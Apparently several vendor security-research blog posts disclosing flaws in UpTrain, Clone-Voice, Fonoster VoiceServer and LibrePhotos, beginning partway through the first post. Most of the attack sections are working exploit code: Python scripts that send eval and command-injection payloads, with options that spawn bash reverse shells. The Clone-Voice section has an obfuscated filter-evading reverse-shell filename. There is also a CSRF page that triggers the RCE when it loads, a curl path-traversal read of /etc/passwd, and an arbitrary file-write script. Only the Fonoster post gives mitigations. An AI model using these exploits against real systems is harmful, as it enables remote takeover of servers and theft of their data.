    data_file: UploadFile = File(...),
    metadata: str = Form(...),
    user_id: str = Depends(validate_api_key_public),
    db: Session = Depends(get_db),
    fsspec_fs: t.Any = Depends(get_fsspec_fs),
):
    # ...

    checks = eval(checks[0])
    checks_1 = []
    metadata = eval(metadata)

    for check in checks:
        if check in metadata:
            final_check = checks_mapping(check, metadata[check])
        else:
            final_check = checks_mapping(check)

        if final_check is not None:
            checks_1.append(final_check)

    # ...

The core issue lies in the direct use of eval() on user-supplied form data, specifically checks and metadata. This allows an attacker to craft a payload that, when evaluated, executes malicious code on the server.

To demonstrate the vulnerability, we created a payload and proof of concept script for the /create_project endpoint. For this example, we'll use a payload that creates a file named zeropath in the /tmp directory:

payload = "__import__('os').system('touch /tmp/zeropath')"

Here's a quick cURL command that demonstrates the exploit:

curl 'http://localhost:4300/api/public/create_project' \
  -H 'Accept: */*' \
  -H 'Accept-Language: en-US,en' \
  -H 'Connection: keep-alive' \
  -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysFz2W1h9iMH4IFs9' \
  -H 'Origin: http://localhost:3000' \
  -H 'Referer: http://localhost:3000/' \
  -H 'uptrain-access-token: default_key' \
  --data-raw $'------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="model"\r\n\r\ngpt-3.5-turbo\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="project_name"\r\n\r\nasdf\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="checks"\r\n\r\n__import__(\'os\').system(\'touch /tmp/zeropath\')\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="dataset_name"\r\n\r\nasdf\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="data_file"; filename="test.jsonl"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="metadata"\r\n\r\n{"gpt-3.5-turbo":{"openai_api_key":"asdf"}}\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9--\r\n'

Proof of Concept

Here's a full Python PoC script that demonstrates the vulnerability:

#!/usr/bin/env python3

import argparse
import requests

def execute_command(url, command, access_token):
    headers = {
        'Accept': '*/*',
        'Accept-Language': 'en-US,en',
        'Connection': 'keep-alive',
        'Origin': 'http://localhost:3000',
        'Referer': 'http://localhost:3000/',
        'uptrain-access-token': access_token
    }

    data = {
        'model': 'gpt-3.5-turbo',
        'project_name': 'zeropath',
        'checks': f'__import__(\'os\').system(\'{command}\')',
        'dataset_name': 'zeropath',
        'metadata': '{"gpt-3.5-turbo":{"openai_api_key":"dummy_key"}}'
    }
    print(f"[*] Generated payload: {data['checks']}")
    files = {
        'data_file': ('test.jsonl', '', 'application/octet-stream')
    }

    response = requests.post(url + "/api/public/create_project", headers=headers, data=data, files=files)
    return response.status_code, response.text

def main():
    parser = argparse.ArgumentParser(description='UpTrain Exploit PoC')
    parser.add_argument('--url', required=True, help='UpTrain URL')
    parser.add_argument('--cmd', help='Command to execute')
    parser.add_argument('--shell', nargs=2, metavar=('IP', 'PORT'), help='Reverse shell IP and port')
    parser.add_argument('--token', default='default_key', help='UpTrain access token (default: default_key)')

    args = parser.parse_args()

    if not args.cmd and not args.shell:
        parser.error("Either --cmd or --shell must be provided")

    if args.shell:
        command = f"bash -c \"bash -i >& /dev/tcp/{args.shell[0]}/{args.shell[1]} 0>&1\" &"
    else:
        command = args.cmd

    print("[!] UpTrain Exploit PoC")
    print(f"[*] Target URL: {args.url}")
    print(f"[*] Executing command: {command}")
    print(f"[*] Using access token: {args.token}")

    status_code, response_text = execute_command(args.url, command, args.token)
    
    if status_code == 500:
        print("[+] Command executed successfully!")
    else:
        print("[-] Command execution failed.")

if __name__ == "__main__":
    main()

Bonus: CSRF + RCE Chain

Chaining this RCE with a Cross-Site Request Forgery (CSRF) attack could allow an attacker to compromise a local instance of this app. This is not a traditional CSRF scenario, as it leverages the default API key ("default_key") which is accepted by the vulnerable endpoints.

If an attacker can trick a user who is running UpTrain locally to visit their webpage, the attacker can use the victim's browser to send a malicious POST request to the local UpTrain instance, triggering the RCE.

Here's a proof-of-concept HTML page that demonstrates this attack:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ZeroPath UpTrain CSRF + RCE POC</title>
</head>
<body>
<script>
    document.addEventListener('DOMContentLoaded', function() {
        const xhr = new XMLHttpRequest();
        const url = 'http://127.0.0.1:4300/api/public/create_project';
        const boundary = '----aaaa';

        xhr.open('POST', url, true);

        xhr.setRequestHeader('Accept', '*/*');
        xhr.setRequestHeader('Accept-Language', 'en-US,en');
        xhr.setRequestHeader('Connection', 'keep-alive');
        xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary);
        xhr.setRequestHeader('Origin', 'http://127.0.0.1:3000');
        xhr.setRequestHeader('Referer', 'http://127.0.0.1:3000/');
        xhr.setRequestHeader('User-Agent', 'ZeroPath-Agent');
        xhr.setRequestHeader('uptrain-access-token', 'default_key');

        const formData = [
            '--' + boundary,
            'Content-Disposition: form-data; name="model"',
            '',
            'gpt-3.5-turbo',
            '--' + boundary,
            'Content-Disposition: form-data; name="project_name"',
            '',
            'asdf',
            '--' + boundary,
            'Content-Disposition: form-data; name="checks"',
            '',
            '__import__(\'os\').system(\'touch /tmp/zeropath\')',
            '--' + boundary,
            'Content-Disposition: form-data; name="dataset_name"',
            '',
            'asdf',
            '--' + boundary,
            'Content-Disposition: form-data; name="data_file"; filename="test.jsonl"',
            'Content-Type: application/octet-stream',
            '',
            '',
            '--' + boundary,
            'Content-Disposition: form-data; name="metadata"',
            '',
            JSON.stringify({"gpt-3.5-turbo":{"openai_api_key":"asdf"}}),
            '--' + boundary + '--'
        ].join('\r\n');

        xhr.onreadystatechange = function() {
            if (xhr.readyState === XMLHttpRequest.DONE) {
                if (xhr.status === 200) {
                    console.log('Request successful');
                    console.log(xhr.responseText);
                } else {
                    console.error('Request failed');
                    console.error(xhr.status, xhr.statusText);
                }
            }
        };

        xhr.send(formData);
    });
</script>
</body>
</html>

Want to chat?

This RCE vulnerability gives a partial demonstration of ZeroPath's scanning capabilities. While many vulnerability scanners might have flagged this issue, ZeroPath's ability to automatically investigate results across large numbers of repositories was a big help with initial identification.

If you're interested in how you can use ZeroPath to improve your code security, please set up a call with our team!

Legal Disclaimer

The Proof of Concept (PoC) provided serves solely for educational and research objectives. Its purpose is to showcase a specific vulnerability and aid in comprehending associated security risks.

The creators and contributors of this blog disclaim all liability for the improper use or any damage or harm resulting from the use of this PoC. By utilizing this PoC, you consent to use it in a responsible manner and at your own risk.

By Nathan Hrncirik and Raphael Karger, Security Researchers at ZeroPath

ZeroPath security researchers discovered a critical command injection vulnerability in Clone-Voice, a popular open-source project for voice cloning with an unauthenticated web interface. This vulnerability, when exploited, allows malicious actors to execute arbitrary commands on the server hosting the Clone-Voice application.

Proof of concept demo

Vulnerability Discovery + Details

ZeroPath's vulnerability scanner initially flagged a potential command injection vulnerability in the /upload route of the Clone-Voice application. Further investigation revealed that the vulnerability was indeed present, but exploiting it proved to be more challenging than initially anticipated due to several input processing steps.

The core issue lies in the use of os.system() without sanitizing user input in the file upload functionality. Here's the vulnerable code snippet from the /upload route:

@app.route('/upload', methods=['POST'])
def upload():
    try:
        audio_file = request.files['audio']
        save_dir = request.form.get("save_dir",'')
        save_dir = VOICE_DIR if not save_dir else os.path.join(ROOT_DIR, f'static/{save_dir}')
        app.logger.info(f"[upload]{audio_file.filename=},{save_dir=}")
        noextname, ext = os.path.splitext(os.path.basename(audio_file.filename.lower()))
        noextname = noextname.replace(' ', '')
        if audio_file and ext in [".wav", ".mp3", ".flac"]:
            name = f'{noextname}{ext}'
            if os.path.exists(os.path.join(save_dir, f'{noextname}{ext}')):
                name = f'{datetime.datetime.now().strftime("%m%d-%H%M%S")}-{noextname}{ext}'
            tmp_wav = os.path.join(TMP_DIR, "tmp_" + name)
            audio_file.save(tmp_wav)
            if ext != '.wav':
                name = f"{name[:-len(ext)]}.wav"
            savename = os.path.join(save_dir, name)
            os.system(f'ffmpeg -hide_banner -y -i "{tmp_wav}" "{savename}"')
            try:
                os.unlink(tmp_wav)
            except:
                pass
            return jsonify({'code': 0, 'msg': 'ok', "data": name})
        else:
            return jsonify({'code': 1, 'msg': 'not wav'})
    except Exception as e:
        app.logger.error(f'[upload]error: {e}')
        return jsonify({'code': 2, 'msg': 'error'})

The problem is simple - the filename retrieved from request.files['audio'] is directly interpolated into the os.system() function. However, getting a PoC quickly became reminiscent of a Capture The Flag (CTF) competition, as our payload has to go through multiple layers of processing:

1. Spaces are stripped
2. All characters are converted to lowercase
3. Any forward slash cuts off all subsequent characters

Our first attempt was relatively simple:

hello$(id).mp3

And successfully executed. However, attempts to run more complex commands with spaces, like cat app.py, fail due to the space character being stripped.

Attempting to Overcome Spaces

To bypass the space restriction, we attempted to use the ${IFS} variable, a common technique in CTFs and command injection bypasses:

hello$(echo${IFS}test123).mp3

This fails because the input was converted to lowercase, rendering the ${IFS} variable unusable.

This is the moment coming up with the PoC started feeling like a CTF challenge to me. After deciding this was like a CTF, I set out to try and just get cat flag.txt to work before a full reverse shell. It turns out you can do this using input redirection:

hello$(cat<flag.txt).flac

The above payload successfully printed the contents of the flag.txt file. However, we were limited to reading files in the current directory, because of the slash filtering.

We explored several different approaches to working around that filter:

1. Slicing the $HOME variable, which always has a leading slash:

   cat<${HOME:0:1}flag.txt
   

   This worked in bash when testing, but failed in the target environment because $HOME was being converted to lowercase..., I forgot about that.

2. Attempting to use bash uppercase conversion:

   a=home&&b=${a^^}
   

   In the above payload, I set the a variable equal to the lowercase string home, and then we use parameter expansion with case modification to convert the a variable to uppercase, and store in the b variable. This successfully sets the b variable to "HOME", allowing us to use ${!b} to get "/home/user", getting us the forward slash we need!

   I quickly came up with this PoC:

   a=home&&b=${a^^}&&cat<${!b:0:1}flag.txt
   

   Which worked in my bash terminal, but not on the server :(. Unfortunately for me, sh lacks these advanced string manipulation features, and os.system() uses sh, not bash.

The Slash Breakthrough

After stepping away from the computer a while and then coming back, we realized that the pwd command also always starts with a forward slash, which we could grab using a nested parameter expansion technique:

pwd=$(pwd)&&cat<${pwd%${pwd#?}}flag.txt

The above payload worked! We were able to cat the pretend /flag.txt file - and for a reverse shell, we could repeat the same process for space characters.

Getting a space

With the ability to generate a slash, we can read most files. Our target payload also contains spaces:

bash -i >& /dev/tcp/127.0.0.1/1337 0>&1

We have many default linux commands available to us, but the date command was the best fit. The output of date will always contain a space in character four, no matter when you run it. Using the sh magic below, we were able to get another variable with a space character stored:

d=$(date)&&f=${d%${d#????}}&&s=${f#???}

So now we have everything we need to generate a reverse shell payload, we just need to put it together.

hello`pwd=$(pwd)&&d=$(date)&&f=${d%${d#????}}&&s=${f#???}&&bash${s}-c${s}\"bash${s}-i${s}>&${s}${pwd%${pwd#?}}dev${pwd%${pwd#?}}tcp${pwd%${pwd#?}}127.0.0.1${pwd%${pwd#?}}4242${s}0>&1"`.flac

Proof of Concept

#!/usr/bin/env python3

import argparse
import requests

def execute_rce(url, ip, port):
    print("[!] Clone-Voice RCE PoC")
    print(f"[*] Target URL: {url}")
    print(f"[*] Reverse shell: {ip}:{port}")
    
    # beautiful payload
    payload = f"hello`pwd=$(pwd)&&d=$(date)&&f=${{d%${{d#????}}}}&&s=${{f#???}}&&bash${{s}}-c${{s}}\"bash${{s}}-i${{s}}>&${{s}}${{pwd%${{pwd#?}}}}dev${{pwd%${{pwd#?}}}}tcp${{pwd%${{pwd#?}}}}{ip}${{pwd%${{pwd#?}}}}{port}${{s}}0>&1\"`.flac"
    print(f"[*] Generated payload filename: {payload}")
    print("[*] Sending malicious upload")
        
    files = {'audio': (payload, "test")}
    
    try:
        response = requests.post(f"{url}/upload", files=files)
        response.raise_for_status()
        result = response.json()
        print("[+] Upload successful!")
        print("[*] Server response:")
        print(f"    Code: {result['code']}")
        print(f"    Message: {result['msg']}")
        if 'data' in result:
            print(f"    Data: {result['data']}")
        print("[*] If the exploit was successful, you should receive a reverse shell connection.")
    except requests.exceptions.RequestException as e:
        print(f"[-] Error occurred while uploading: {e}")

def main():
    parser = argparse.ArgumentParser(description='Clone-Voice RCE PoC')
    parser.add_argument('--url', required=True, help='Target URL (e.g., http://localhost:9000)')
    parser.add_argument('--shell', nargs=2, metavar=('IP', 'PORT'), required=True, help='Reverse shell IP and port')

    args = parser.parse_args()

    execute_rce(args.url, args.shell[0], args.shell[1])

if __name__ == "__main__":
    main()

Want to chat?

This command injection vulnerability gives a partial demonstration of ZeroPath's scanning capabilities. While many vulnerability scanners might have flagged this issue, ZeroPath's ability to automatically investigate results across large numbers of repositories was a big help with initial identification.

If you're interested in how you can use ZeroPath to improve your code security, please set up a call with our team!

Legal Disclaimer

The Proof of Concept (PoC) provided serves solely for educational and research objectives. Its purpose is to showcase a specific vulnerability and aid in comprehending associated security risks.

The creators and contributors of this blog disclaim all liability for the improper use or any damage or harm resulting from the use of this PoC. By utilizing this PoC, you consent to use it in a responsible manner and at your own risk.

By Nathan Hrncirik, Co-Founder and Security Researcher at ZeroPath

Security researchers at ZeroPath discovered a Local File Inclusion (LFI) vulnerability in Fonoster VoiceServer, a popular open-source platform for building voice applications.

Proof of concept demo

Vulnerability Discovery + Details

The vulnerability stems from insecure handling of user input in the file serving functionality of Fonoster VoiceServer. Specifically, the vulnerability was identified in two endpoints within the VoiceServer:

• /sounds/:file
• /tts/:file

Both of these endpoints are handled by the serveFiles function in utils.ts. The core issue here is the insecure joining of the config.pathToFiles and req.params.file variables without proper validation:

export const serveFiles = (config: ServerConfig) => {
  return (req, res) => {
    fs.readFile(
      join(config.pathToFiles, req.params.file),
      function (err, data) {
        if (err) {
          res.send("unable to find or open file");
        } else {
          res.setHeader("content-type", "audio/x-wav");
          res.send(data);
        }
        res.end();
      }
    );
  };
};

Proof of Concept

To demonstrate the vulnerability, we can send a malicious GET request to the /sounds endpoint. For example, this command attempts to read the /etc/passwd file:

curl http://localhost:3000/sounds/..%2f..%2f..%2fetc%2fpasswd

This simple cURL request exploits the lack of security checks to traverse the directory structure and access local system files.

Mitigation

To address these kinds of vulnerabilities, we recommend using the following security measures:

1. Input Validation: Validate the file parameter conforms to your expected input, and doesn't contain any path traversal attempts.

2. Path Normalization: Use path.normalize() to remove any ../ sequences from the file path.

3. Path Resolution: Check that the new normalized path remains within the intended directory. config.pathToFiles in this case.

Here's an example of how the serveFiles function could be improved:

export const serveFiles = (config: ServerConfig) => {
  return (req, res) => {
    const requestedPath = join(config.pathToFiles, req.params.file);
    const normalizedPath = normalize(requestedPath);

    if (!normalizedPath.startsWith(config.pathToFiles) || isAbsolute(req.params.file)) {
      res.status(403).send('Access denied');
      return;
    }

    fs.readFile(normalizedPath, (err, data) => {
      if (err) {
        res.status(404).send('Unable to find or open file');
      } else {
        res.setHeader('Content-Type', 'audio/x-wav');
        res.send(data);
      }
    });
  };
};

Conclusion + Timeline

• July 21, 2024: Initial email sent to Fonoster developers detailing the vulnerability.
• July 25, 2024: Follow-up email sent due to lack of response.
• July 30, 2024: Second follow-up email sent, still receiving no response.
• August 21, 2024: Submitted vulnerability details and a patch via GitHub.
• August 23, 2024: Public disclosure of the vulnerability.

Currently, there is no patched version for the Fonoster VoiceServer. We recommend making the suggested mitigations yourself or taking down your Fonoster server until an official patch is released.

Want to chat?

This local file inclusion vulnerability gives a partial demonstration of ZeroPath's scanning capabilities. While many vulnerability scanners might have flagged this issue, ZeroPath's ability to automatically investigate results across large numbers of repositories was a big help with initial identification.

If you're interested in how you can use ZeroPath to improve your code security, please set up a call with our team!

Legal Disclaimer

The Proof of Concept (PoC) provided serves solely for educational and research objectives. Its purpose is to showcase a specific vulnerability and aid in comprehending associated security risks.

The creators and contributors of this blog disclaim all liability for the improper use or any damage or harm resulting from the use of this PoC. By utilizing this PoC, you consent to use it in a responsible manner and at your own risk.

By Nathan Hrncirik, Co-Founder and Security Researcher at ZeroPath

ZeroPath security researchers discovered a critical vulnerability in LibrePhotos, a popular open-source self-hosted photo management platform. The vulnerability allows for unauthenticated arbitrary file upload, which, when combined with a path traversal vulnerability, enables attackers to write files anywhere on the system.

Proof of concept demo

Vulnerability Discovery + Details

The bug stems from a lack of authentication and input sanitization in LibrePhotos' file upload functionality. Specifically, the issue lies in the on_completion function in the api/views/upload.py file:

def on_completion(self, uploaded_file, request):
    user = User.objects.filter(id=request.POST.get("user")).first()
    filename = request.POST.get("filename")
    device = "web"

    if not os.path.exists(os.path.join(user.scan_directory, "uploads")):
        os.mkdir(os.path.join(user.scan_directory, "uploads"))
    if not os.path.exists(os.path.join(user.scan_directory, "uploads", device)):
        os.mkdir(os.path.join(user.scan_directory, "uploads", device))
    
    # ... (omitted for brevity)

    photo_path = os.path.join(user.scan_directory, "uploads", device, filename)

    if photo_path:
        with open(photo_path, "wb") as f:
            photo.seek(0)
            f.write(photo.read())

The direct use of the user-supplied filename in the os.path.join() function without proper sanitization allows an attacker to manipulate the photo_path variable, setting it to an arbitrary location outside the intended scan_directory. By including path traversal sequences ../ in the filename, an attacker can write files to any accessible location on the servers filesystem.

To demonstrate the vulnerability, we've created a proof-of-concept script that exploits the arbitrary file upload and path traversal vulnerabilities:

#!/usr/bin/env python3

import argparse
import requests
import hashlib
import os

def calculate_md5(file_path):
    hash_md5 = hashlib.md5()
    with open(file_path, "rb") as f:
        for chunk in iter(lambda: f.read(4096), b""):
            hash_md5.update(chunk)
    return hash_md5.hexdigest()

def chunked_upload(file_path, upload_url, complete_url, user_id, target_filename):
    md5_hash = calculate_md5(file_path)
    print(f"[*] MD5 hash of file: {md5_hash}")
    
    with open(file_path, 'rb') as file:
        files = {'file': (target_filename, file)}
        data = {
            'filename': target_filename,
            'user': user_id,
            'scan_directory': "tmp",
            'md5': md5_hash
        }
        
        response = requests.post(upload_url, files=files, data=data)
        
        if response.status_code != 200:
            print(f"[-] Upload initiation failed: {response.text}")
            return
        
        upload_id = response.json().get('upload_id')
        
        if not upload_id:
            print("[-] Failed to get upload_id from response")
            return
        
        print(f"[+] Upload initiated with upload_id: {upload_id}")
    
    data = {
        'upload_id': upload_id,
        'filename': target_filename,
        'user': user_id,
        'md5': md5_hash
    }
    
    response = requests.post(complete_url, data=data)
    
    if response.status_code == 500:
        print("[+] Upload completed successfully")
    else:
        print(f"[-] Upload completion failed: {response.text}")

def main():
    parser = argparse.ArgumentParser(description='File Upload Vulnerability PoC')
    parser.add_argument('--url', required=True, help='Base URL of the target application')
    parser.add_argument('--file', required=True, help='Path to the file to upload')
    parser.add_argument('--target', required=True, help='Target filename (including path) on the server')
    parser.add_argument('--user', default='1', help='User ID (default: 1)')

    args = parser.parse_args()

    upload_url = f"{args.url}/api/upload/"
    complete_url = f"{args.url}/api/upload/complete/"

    print("[!] LibrePhotos Arbitrary File Upload Vulnerability PoC")
    print(f"[*] Target URL: {args.url}")
    print(f"[*] File to upload: {args.file}")
    print(f"[*] Target filename: {args.target}")
    print(f"[*] User ID: {args.user}")

    chunked_upload(args.file, upload_url, complete_url, args.user, args.target)

if __name__ == "__main__":
    main()

Conclusion

We submitted a pull request to fix the path traversal vulnerability. The PR was promptly merged, so we recommend upgrading to the latest version of LibrePhotos on GitHub.

Want to chat?

This path traversal vulnerability gives a partial demonstration of ZeroPath's scanning capabilities. While many vulnerability scanners might have flagged this issue, ZeroPath's ability to automatically investigate results across large numbers of repositories was a big help with initial identification.

If you're interested in how you can use ZeroPath to improve your code security, please set up a call with our team!

Legal Disclaimer

The Proof of Concept (PoC) provided serves solely for educational and research objectives. Its purpose is to showcase a specific vulnerability and aid in comprehending associated security risks.

The creators and contributors of this blog disclaim all liability for the improper use or any damage or harm resulting from the use of this PoC. By utilizing this PoC, you consent to use it in a responsible manner and at your own risk.